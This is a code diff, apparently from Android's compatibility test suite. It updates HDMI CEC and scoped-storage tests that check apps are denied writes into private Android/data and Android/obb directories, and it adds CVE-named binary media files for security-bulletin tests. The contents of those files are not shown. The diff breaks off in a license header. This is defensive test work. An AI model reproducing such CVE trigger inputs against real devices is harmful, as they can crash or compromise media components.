         String reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
                 CecOperand.REPORT_POWER_STATUS);
+
+        if (CecMessage.getParams(reportPowerStatus) == HdmiCecConstants.CEC_POWER_STATUS_STANDBY) {
+            // Received the "turning off" broadcast, check for the next broadcast message
+            reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
+                    CecOperand.REPORT_POWER_STATUS);
+        }
+
         assertThat(CecMessage.getParams(reportPowerStatus)).isEqualTo(
                 HdmiCecConstants.CEC_POWER_STATUS_ON);
     }
@@ -92,12 +101,21 @@
 
         // Turn device on
         device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        TimeUnit.SECONDS.sleep(WAIT_TIME);
 
         // Move device to standby
         device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        TimeUnit.SECONDS.sleep(WAIT_TIME);
 
         String reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
                 CecOperand.REPORT_POWER_STATUS);
+
+        if (CecMessage.getParams(reportPowerStatus) == HdmiCecConstants.CEC_POWER_STATUS_ON) {
+            // Received the "wake up" broadcast, check for the next broadcast message
+            reportPowerStatus = hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST,
+                    CecOperand.REPORT_POWER_STATUS);
+        }
+
         assertThat(CecMessage.getParams(reportPowerStatus)).isEqualTo(
                 HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
     }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
index 934a1d3..f355af0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
@@ -34,6 +34,9 @@
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
+import java.util.Arrays;
+import java.util.List;
+
 /** HDMI CEC system information tests (Section 11.2.6) */
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
@@ -46,18 +49,33 @@
                     .around(hdmiCecClient);
 
     /**
-     * Test 11.2.6-2
-     * Tests that the device sends a {@code <Report Physical Address>} in response to a
-     * {@code <Give Physical Address>}
+     * Tests 11.2.6-2, 10.1.1.1-1
+     *
+     * <p>Tests that the device sends a {@code <Report Physical Address>} in response to a {@code
+     * <Give Physical Address>}
      */
     @Test
     public void cect_11_2_6_2_GivePhysicalAddress() throws Exception {
-        hdmiCecClient.sendCecMessage(CecOperand.GIVE_PHYSICAL_ADDRESS);
-        String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
-        /* Check that the physical address taken is valid. */
-        CecMessage.assertPhysicalAddressValid(message, getDumpsysPhysicalAddress());
-        int receivedParams = CecMessage.getParams(message);
-        assertThat(receivedParams & 0xFF).isEqualTo(mDutLogicalAddress.getDeviceType());
+        List<LogicalAddress> testDevices =
+                Arrays.asList(
+                        LogicalAddress.TV,
+                        LogicalAddress.RECORDER_1,
+                        LogicalAddress.TUNER_1,
+                        LogicalAddress.PLAYBACK_1,
+                        LogicalAddress.AUDIO_SYSTEM,
+                        LogicalAddress.BROADCAST);
+        for (LogicalAddress testDevice : testDevices) {
+            if (testDevice == mDutLogicalAddress) {
+                /* Skip the DUT logical address */
+                continue;
+            }
+            hdmiCecClient.sendCecMessage(testDevice, CecOperand.GIVE_PHYSICAL_ADDRESS);
+            String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
+            /* Check that the physical address taken is valid. */
+            CecMessage.assertPhysicalAddressValid(message, getDumpsysPhysicalAddress());
+            int receivedParams = CecMessage.getParams(message);
+            assertThat(receivedParams & 0xFF).isEqualTo(mDutLogicalAddress.getDeviceType());
+        }
     }
 
     /**
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
index 9b6c23f..206edb6 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsAlarmTest.java
@@ -64,7 +64,7 @@
         for (int i = 0; i < NUM_ALARMS; i++) {
             alm.setExact(AlarmManager.ELAPSED_REALTIME_WAKEUP,
                     SystemClock.elapsedRealtime() + (i + 1) * 1000,
-                    PendingIntent.getBroadcast(context, i, intent, 0));
+                    PendingIntent.getBroadcast(context, i, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
         }
         assertTrue("Didn't receive all broadcasts.", latch.await(60 * 1000, TimeUnit.SECONDS));
     }
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index 6c80563..2a8443b 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -81,11 +81,16 @@
 import static android.scopedstorage.cts.lib.TestUtils.queryVideoFile;
 import static android.scopedstorage.cts.lib.TestUtils.readExifMetadataFromTestApp;
 import static android.scopedstorage.cts.lib.TestUtils.revokePermission;
+import static android.scopedstorage.cts.lib.TestUtils.setAppOpsModeForUid;
 import static android.scopedstorage.cts.lib.TestUtils.setAttrAs;
 import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
 import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
 import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
 import static android.scopedstorage.cts.lib.TestUtils.updateDisplayNameWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
 import static android.system.OsConstants.F_OK;
 import static android.system.OsConstants.O_APPEND;
 import static android.system.OsConstants.O_CREAT;
@@ -1113,6 +1118,36 @@
         }
     }
 
+    @Test
+    public void testInsertDefaultPrimaryCaseInsensitiveCheck() throws Exception {
+        final File podcastsDir = getPodcastsDir();
+        final File podcastsDirLowerCase =
+                new File(getExternalStorageDir(), Environment.DIRECTORY_PODCASTS.toLowerCase());
+        final File fileInPodcastsDirLowerCase = new File(podcastsDirLowerCase, AUDIO_FILE_NAME);
+        try {
+            // Delete the directory if it already exists
+            if (podcastsDir.exists()) {
+                deleteAsLegacyApp(podcastsDir);
+            }
+            assertThat(podcastsDir.exists()).isFalse();
+            assertThat(podcastsDirLowerCase.exists()).isFalse();
+
+            // Create the directory with lower case
+            assertThat(podcastsDirLowerCase.mkdir()).isTrue();
+            // Because of case-insensitivity, even though directory is created
+            // with lower case, we should be able to see both directory names.
+            assertThat(podcastsDirLowerCase.exists()).isTrue();
+            assertThat(podcastsDir.exists()).isTrue();
+
+            // File creation with lower case path of podcasts directory should not fail
+            assertThat(fileInPodcastsDirLowerCase.createNewFile()).isTrue();
+        } finally {
+            fileInPodcastsDirLowerCase.delete();
+            podcastsDirLowerCase.delete();
+            podcastsDir.mkdirs();
+        }
+    }
+
     private void createDeleteCreate(File create, File delete) throws Exception {
         try {
             assertThat(create.createNewFile()).isTrue();
@@ -2464,6 +2499,42 @@
         }
     }
 
+    @Test
+    public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+        verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+        verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+    }
+
+    @Test
+    public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+        verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+        verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+    }
+
+    @Test
+    public void testInsertFromExternalDirsViaRelativePathAsSystemGallery() throws Exception {
+        int uid = Process.myUid();
+        try {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+            verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+            verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+        } finally {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+        }
+    }
+
+    @Test
+    public void testUpdateToExternalDirsViaRelativePathAsSystemGallery() throws Exception {
+        int uid = Process.myUid();
+        try {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS);
+            verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+            verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+        } finally {
+            setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS);
+        }
+    }
+
     /**
      * Checks restrictions for opening pending and trashed files by different apps. Assumes that
      * given {@code testApp} is already installed and has READ_EXTERNAL_STORAGE permission. This
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
index 01d1a3c4..2a63325 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
@@ -224,4 +224,24 @@
     public void testScanUpdatesMetadataForNewlyAddedFile_hasRW() throws Exception {
         runDeviceTest("testScanUpdatesMetadataForNewlyAddedFile_hasRW");
     }
+
+    @Test
+    public void testInsertFromExternalDirsViaData() throws Exception {
+        runDeviceTest("testInsertFromExternalDirsViaData");
+    }
+
+    @Test
+    public void testUpdateToExternalDirsViaData() throws Exception {
+        runDeviceTest("testUpdateToExternalDirsViaData");
+    }
+
+    @Test
+    public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+        runDeviceTest("testInsertFromExternalDirsViaRelativePath");
+    }
+
+    @Test
+    public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+        runDeviceTest("testUpdateToExternalDirsViaRelativePath");
+    }
 }
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index 91e0915..e162169 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -240,6 +240,55 @@
         }
     }
 
+    @Test
+    public void testInsertExternalFilesViaDataAsFileManager() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testInsertExternalFilesViaData");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    /**
+     * Test that File Manager can't update file path to private directories.
+     */
+    @Test
+    public void testUpdateExternalFilesViaDataAsFileManager() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testUpdateExternalFilesViaData");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    /**
+     * Test that File Manager can't insert files from private directories.
+     */
+    @Test
+    public void testInsertExternalFilesViaRelativePathAsFileManager() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testInsertExternalFilesViaRelativePath");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
+    /**
+     * Test that File Manager can't update file path to private directories.
+     */
+    @Test
+    public void testUpdateExternalFilesViaRelativePathAsFileManager() throws Exception {
+        allowAppOps("android:manage_external_storage");
+        try {
+            runDeviceTest("testUpdateExternalFilesViaRelativePath");
+        } finally {
+            denyAppOps("android:manage_external_storage");
+        }
+    }
+
     private void grantPermissions(String... perms) throws Exception {
         int currentUserId = getCurrentUserId();
         for (String perm : perms) {
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index 5c7d708..6be57aa 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -34,16 +34,27 @@
 import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
 import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
 import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
+import static android.scopedstorage.cts.lib.TestUtils.getAndroidMediaDir;
 import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
 import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
 import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
 import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
+import static android.scopedstorage.cts.lib.TestUtils.insertFile;
+import static android.scopedstorage.cts.lib.TestUtils.insertFileFromExternalMedia;
 import static android.scopedstorage.cts.lib.TestUtils.listAs;
 import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
 import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
+import static android.scopedstorage.cts.lib.TestUtils.resetDefaultExternalStorageVolume;
 import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
+import static android.scopedstorage.cts.lib.TestUtils.updateFile;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaData_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
 
 import static androidx.test.InstrumentationRegistry.getContext;
 
@@ -900,6 +911,68 @@
         }
     }
 
+    /**
+     * Make sure inserting files from app private directories in legacy apps is allowed via DATA.
+     */
+    @Test
+    public void testInsertFromExternalDirsViaData() throws Exception {
+        verifyInsertFromExternalMediaDirViaData_allowed();
+
+        ContentValues values = new ContentValues();
+        final String androidObbDir =
+                getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+        insertFile(values);
+
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+        insertFile(values);
+    }
+
+    /**
+     * Make sure inserting files from app private directories in legacy apps is not allowed via
+     * RELATIVE_PATH.
+     */
+    @Test
+    public void testInsertFromExternalDirsViaRelativePath() throws Exception {
+        verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+        verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+    }
+
+    /**
+     * Make sure updating files to app private directories in legacy apps is allowed via DATA.
+     */
+    @Test
+    public void testUpdateToExternalDirsViaData() throws Exception {
+        resetDefaultExternalStorageVolume();
+        Uri uri = insertFileFromExternalMedia(false);
+
+        final String androidMediaDirFile =
+                getAndroidMediaDir().toString() + "/" + System.currentTimeMillis();
+        ContentValues values = new ContentValues();
+        values.put(MediaStore.MediaColumns.DATA, androidMediaDirFile);
+        assertNotEquals(0, updateFile(uri, values));
+
+        final String androidObbDir =
+                getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+        assertNotEquals(0, updateFile(uri, values));
+
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+        assertNotEquals(0, updateFile(uri, values));
+    }
+
+    /**
+     * Make sure updating files to app private directories in legacy apps is not allowed via
+     * RELATIVE_PATH.
+     */
+    @Test
+    public void testUpdateToExternalDirsViaRelativePath() throws Exception {
+        verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+        verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+    }
+
     private static void assertCanCreateFile(File file) throws IOException {
         if (file.exists()) {
             file.delete();
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index f5ea246..53e6e78 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -21,7 +21,12 @@
 import static androidx.test.InstrumentationRegistry.getContext;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.TestCase.assertNotNull;
+
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.fail;
 
 import android.Manifest;
@@ -124,7 +129,9 @@
     public static void setupDefaultDirectories() {
         for (File dir : getDefaultTopLevelDirs()) {
             dir.mkdir();
-            assertThat(dir.exists()).isTrue();
+            assertWithMessage("Could not setup default dir [%s]", dir.toString())
+                    .that(dir.exists())
+                    .isTrue();
         }
     }
 
@@ -289,6 +296,147 @@
         return getResultFromTestApp(testApp, file.getPath(), actionName);
     }
 
+    public static Uri insertFileFromExternalMedia(boolean useRelative) throws IOException {
+        ContentValues values = new ContentValues();
+        String filePath =
+                getAndroidMediaDir().toString() + "/" + getContext().getPackageName() + "/"
+                        + System.currentTimeMillis();
+        if (useRelative) {
+            values.put(MediaStore.MediaColumns.RELATIVE_PATH,
+                    "Android/media/" + getContext().getPackageName());
+            values.put(MediaStore.MediaColumns.DISPLAY_NAME, System.currentTimeMillis());
+        } else {
+            values.put(MediaStore.MediaColumns.DATA, filePath);
+        }
+
+        return getContentResolver().insert(
+                MediaStore.Files.getContentUri(sStorageVolumeName), values);
+    }
+
+    public static void insertFile(ContentValues values) {
+        assertNotNull(getContentResolver().insert(
+                MediaStore.Files.getContentUri(sStorageVolumeName), values));
+    }
+
+    public static int updateFile(Uri uri, ContentValues values) {
+        return getContentResolver().update(uri, values, new Bundle());
+    }
+
+    public static void verifyInsertFromExternalPrivateDirViaRelativePath_denied() throws Exception {
+        resetDefaultExternalStorageVolume();
+
+        // Test that inserting files from Android/obb/.. is not allowed.
+        final String androidObbDir = getContext().getObbDir().toString();
+        ContentValues values = new ContentValues();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidObbDir.substring(androidObbDir.indexOf("Android")));
+        assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+
+        // Test that inserting files from Android/data/.. is not allowed.
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidDataDir.substring(androidDataDir.indexOf("Android")));
+        assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+    }
+
+    public static void verifyInsertFromExternalMediaDirViaRelativePath_allowed() throws Exception {
+        resetDefaultExternalStorageVolume();
+
+        // Test that inserting files from Android/media/.. is allowed.
+        final String androidMediaDir = getExternalMediaDir().toString();
+        final ContentValues values = new ContentValues();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidMediaDir.substring(androidMediaDir.indexOf("Android")));
+        insertFile(values);
+    }
+
+    public static void verifyInsertFromExternalPrivateDirViaData_denied() throws Exception {
+        resetDefaultExternalStorageVolume();
+
+        ContentValues values = new ContentValues();
+
+        // Test that inserting files from Android/obb/.. is not allowed.
+        final String androidObbDir =
+                getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+        assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+
+        // Test that inserting files from Android/data/.. is not allowed.
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+        assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+    }
+
+    public static void verifyInsertFromExternalMediaDirViaData_allowed() throws Exception {
+        resetDefaultExternalStorageVolume();
+
+        // Test that inserting files from Android/media/.. is allowed.
+        ContentValues values = new ContentValues();
+        final String androidMediaDirFile =
+                getExternalMediaDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidMediaDirFile);
+        insertFile(values);
+    }
+
+    // NOTE: While updating, DATA field should be ignored for all the apps including file manager.
+    public static void verifyUpdateToExternalDirsViaData_denied() throws Exception {
+        resetDefaultExternalStorageVolume();
+        Uri uri = insertFileFromExternalMedia(false);
+
+        final String androidMediaDirFile =
+                getExternalMediaDir().toString() + "/" + System.currentTimeMillis();
+        ContentValues values = new ContentValues();
+        values.put(MediaStore.MediaColumns.DATA, androidMediaDirFile);
+        assertEquals(0, updateFile(uri, values));
+
+        final String androidObbDir =
+                getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+        assertEquals(0, updateFile(uri, values));
+
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+        assertEquals(0, updateFile(uri, values));
+    }
+
+    public static void verifyUpdateToExternalMediaDirViaRelativePath_allowed()
+            throws IOException {
+        resetDefaultExternalStorageVolume();
+        Uri uri = insertFileFromExternalMedia(true);
+
+        // Test that update to files from Android/media/.. is allowed.
+        final String androidMediaDir = getExternalMediaDir().toString();
+        ContentValues values = new ContentValues();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidMediaDir.substring(androidMediaDir.indexOf("Android")));
+        assertNotEquals(0, updateFile(uri, values));
+    }
+
+    public static void verifyUpdateToExternalPrivateDirsViaRelativePath_denied()
+            throws Exception {
+        resetDefaultExternalStorageVolume();
+        Uri uri = insertFileFromExternalMedia(true);
+
+        // Test that update to files from Android/obb/.. is not allowed.
+        final String androidObbDir = getContext().getObbDir().toString();
+        ContentValues values = new ContentValues();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidObbDir.substring(androidObbDir.indexOf("Android")));
+        assertThrows(IllegalArgumentException.class, () -> updateFile(uri, values));
+
+        // Test that update to files from Android/data/.. is not allowed.
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidDataDir.substring(androidDataDir.indexOf("Android")));
+        assertThrows(IllegalArgumentException.class, () -> updateFile(uri, values));
+    }
+
     /**
      * Makes the given {@code testApp} open a file for read or write.
      *
@@ -1109,7 +1257,7 @@
      *
      * <p>This method drops shell permission identity.
      */
-    private static void setAppOpsModeForUid(int uid, int mode, @NonNull String... ops) {
+    public static void setAppOpsModeForUid(int uid, int mode, @NonNull String... ops) {
         adoptShellPermissionIdentity(null);
         try {
             for (String op : ops) {
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 15d24f5..cb26915 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -49,6 +49,13 @@
 import static android.scopedstorage.cts.lib.TestUtils.pollForManageExternalStorageAllowed;
 import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
 import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaData_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaData_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalDirsViaData_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
 import static android.system.OsConstants.F_OK;
 import static android.system.OsConstants.R_OK;
 import static android.system.OsConstants.W_OK;
@@ -568,6 +575,41 @@
         }
     }
 
+    /**
+     * Test that File Manager can't insert files from private directories.
+     */
+    @Test
+    public void testInsertExternalFilesViaData() throws Exception {
+        verifyInsertFromExternalMediaDirViaData_allowed();
+        verifyInsertFromExternalPrivateDirViaData_denied();
+    }
+
+    /**
+     * Test that File Manager can't update file path to private directories.
+     */
+    @Test
+    public void testUpdateExternalFilesViaData() throws Exception {
+        verifyUpdateToExternalDirsViaData_denied();
+    }
+
+    /**
+     * Test that File Manager can't insert files from private directories.
+     */
+    @Test
+    public void testInsertExternalFilesViaRelativePath() throws Exception {
+        verifyInsertFromExternalMediaDirViaRelativePath_allowed();
+        verifyInsertFromExternalPrivateDirViaRelativePath_denied();
+    }
+
+    /**
+     * Test that File Manager can't update file path to private directories.
+     */
+    @Test
+    public void testUpdateExternalFilesViaRelativePath() throws Exception {
+        verifyUpdateToExternalMediaDirViaRelativePath_allowed();
+        verifyUpdateToExternalPrivateDirsViaRelativePath_denied();
+    }
+
     private void assertCreateFileAndScanNomediaDirDoesntNoOp(File newFile, File scanDir)
             throws Exception {
         assertThat(newFile.createNewFile()).isTrue();
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index 6741b82..6de6044 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -262,6 +262,8 @@
         put("SDM429", null);
         put("SDM439", null);
         put("QM215", null);
+        put("ATOLL", null);
+        put("ATOLL-AB", null);
         put("BENGAL", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
         put("DEFAULT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y",
             "CONFIG_UNMAP_KERNEL_AT_EL0=y"});
diff --git a/hostsidetests/securitybulletin/res/cve_2015_6616.mp4 b/hostsidetests/securitybulletin/res/cve_2015_6616.mp4
new file mode 100644
index 0000000..716c942
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2015_6616.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2017_0726.mp4 b/hostsidetests/securitybulletin/res/cve_2017_0726.mp4
new file mode 100644
index 0000000..2e30e91
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2017_0726.mp4
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0381.info b/hostsidetests/securitybulletin/res/cve_2020_0381.info
new file mode 100644
index 0000000..510c136
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0381.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0381.xmf b/hostsidetests/securitybulletin/res/cve_2020_0381.xmf
new file mode 100644
index 0000000..cbe4bbc
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0381.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0384.info b/hostsidetests/securitybulletin/res/cve_2020_0384.info
new file mode 100644
index 0000000..e74b507
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0384.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0384.xmf b/hostsidetests/securitybulletin/res/cve_2020_0384.xmf
new file mode 100644
index 0000000..5056ce3
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0384.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0385.info b/hostsidetests/securitybulletin/res/cve_2020_0385.info
new file mode 100644
index 0000000..f0d0459
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0385.info
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0385.xmf b/hostsidetests/securitybulletin/res/cve_2020_0385.xmf
new file mode 100644
index 0000000..6437f9e
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0385.xmf
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.bp
new file mode 100644
index 0000000..33d0680
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
